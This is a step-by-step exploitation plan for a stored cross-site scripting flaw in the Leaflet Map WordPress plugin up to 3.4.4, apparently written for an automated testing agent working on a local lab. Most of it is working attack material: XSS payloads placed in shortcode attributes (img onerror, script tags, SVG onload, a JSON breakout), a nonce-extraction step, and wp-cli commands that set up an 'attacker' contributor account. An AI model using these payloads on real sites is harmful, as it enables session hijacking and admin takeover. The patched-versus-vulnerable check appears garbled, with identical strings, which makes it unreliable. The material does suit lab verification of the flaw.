Leaflet Map <= 3.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the Leaflet Map plugin (<= 3.4.4).

1. Vulnerability Summary

The Leaflet Map plugin fails to properly sanitize or escape attributes provided in its shortcodes, specifically when these attributes are rendered within map popups or titles. A user with Contributor-level permissions or higher can create a post containing a malicious shortcode. When any user (including an Administrator) views the post, the injected script executes in their browser context.

2. Attack Vector Analysis

• Authentication: Authenticated (Contributor+).
• Vulnerable Component: Shortcode processing engine for [leaflet-marker], [leaflet-map], or [leaflet-line].
• Vulnerable Parameters: Shortcode attributes such as message, title, or address.
• Vector: Stored XSS via post content.
• Trigger: Viewing the published post or page containing the shortcode.

3. Code Flow (Inferred)

1. Entry Point: A Contributor saves a post containing a shortcode (e.g., [leaflet-marker ... message="<script>alert(1)</script>"]).
2. Storage: WordPress saves the raw shortcode string in the wp_posts table (standard behavior).
3. Rendering: When the post is requested, WordPress triggers the the_content filter, which executes do_shortcode().
4. Plugin Processing: The Leaflet Map plugin's shortcode handler (likely registered via add_shortcode in the main plugin file) parses the attributes.
5. Vulnerable Sink: The handler takes the attribute value (e.g., message) and includes it in a JavaScript object or an HTML string used to initialize the Leaflet map.
6. Output: The plugin fails to apply esc_js() or esc_html() to the attribute value before outputting it into the page's HTML or into a <script> block.
7. Execution: The browser parses the script tag or the onerror attribute within the Leaflet map initialization.

4. Nonce Acquisition Strategy

While post creation is a standard WordPress action, the automated agent needs a valid nonce to submit the post via admin-ajax.php (autosave) or post.php.

1. Login: Authenticate as a Contributor user.
2. Navigate: Go to wp-admin/post-new.php.
3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.
   • browser_eval("document.querySelector('#_wpnonce').value")
4. Alternative: The agent can simply use the browser_navigate and browser_type tools to create the post through the UI, which avoids manual nonce management.

5. Exploitation Strategy

The goal is to inject a payload into a shortcode attribute that executes when the map is rendered.

Payloads to test:

• [leaflet-marker message="<img src=x onerror=alert('XSS_POPUP')>"]
• [leaflet-marker title="<img src=x onerror=alert('XSS_TITLE')>"]
• [leaflet-map address="<script>alert('XSS_ADDRESS')</script>"]

Step-by-Step Plan:

1. Authenticate as a Contributor.
2. Create a New Post using the http_request tool or Playwright.
   • URL: http://localhost:8080/wp-admin/post.php (for POST) or use the REST API if available.
   • Method: POST
   • Data:
     • post_title: XSS Test
     • content: [leaflet-marker lat="0" lng="0" message="<img src=x onerror=alert(document.domain)>"]
     • publish: Publish
3. Identify Post URL: Get the URL of the newly created post (e.g., http://localhost:8080/?p=123).
4. Trigger XSS: Use browser_navigate as an Administrator to visit the post URL.
5. Confirm Execution: Check for an alert box or specific DOM changes.

6. Test Data Setup

1. Role: Ensure a user with the contributor role exists.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Plugin State: Ensure the leaflet-map plugin is active.
   • wp plugin activate leaflet-map

7. Expected Results

• The shortcode should be processed, and the Leaflet map should initialize.
• Inside the HTML source, the message attribute content should appear unescaped.
  • Example: marker.bindPopup("<img src=x onerror=alert(document.domain)>")
• The browser should execute the onerror script when the map loads (or when the marker is clicked, depending on the plugin's behavior).

8. Verification Steps

1. Manual Source Check: After creating the post, fetch the HTML as an unauthenticated user:
   • http_request("GET", "http://localhost:8080/?p=[POST_ID]")
   • Search for the string <img src=x onerror= in the response body.
2. Verify Storage: Check the database to ensure the shortcode was saved correctly:
   • wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
3. Check for escaping: If the output is <img src=x..., the vulnerability is patched. If it is <img src=x..., it is vulnerable.

9. Alternative Approaches

If the message attribute in [leaflet-marker] is sanitized, test these variations:

1. leaflet-map address attribute: Some map plugins perform a geocoding lookup and then display the raw address in a popup.
   • [leaflet-map address="<img src=x onerror=alert(1)>"]
2. SVG Injection: If the plugin allows custom icons via URL:
   • [leaflet-marker iconUrl="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"] (Inferred attribute name).
3. JSON Breakout: If the plugin outputs map options in a JSON block:
   • [leaflet-marker title='"};alert(1);//'] (Inferred breakout).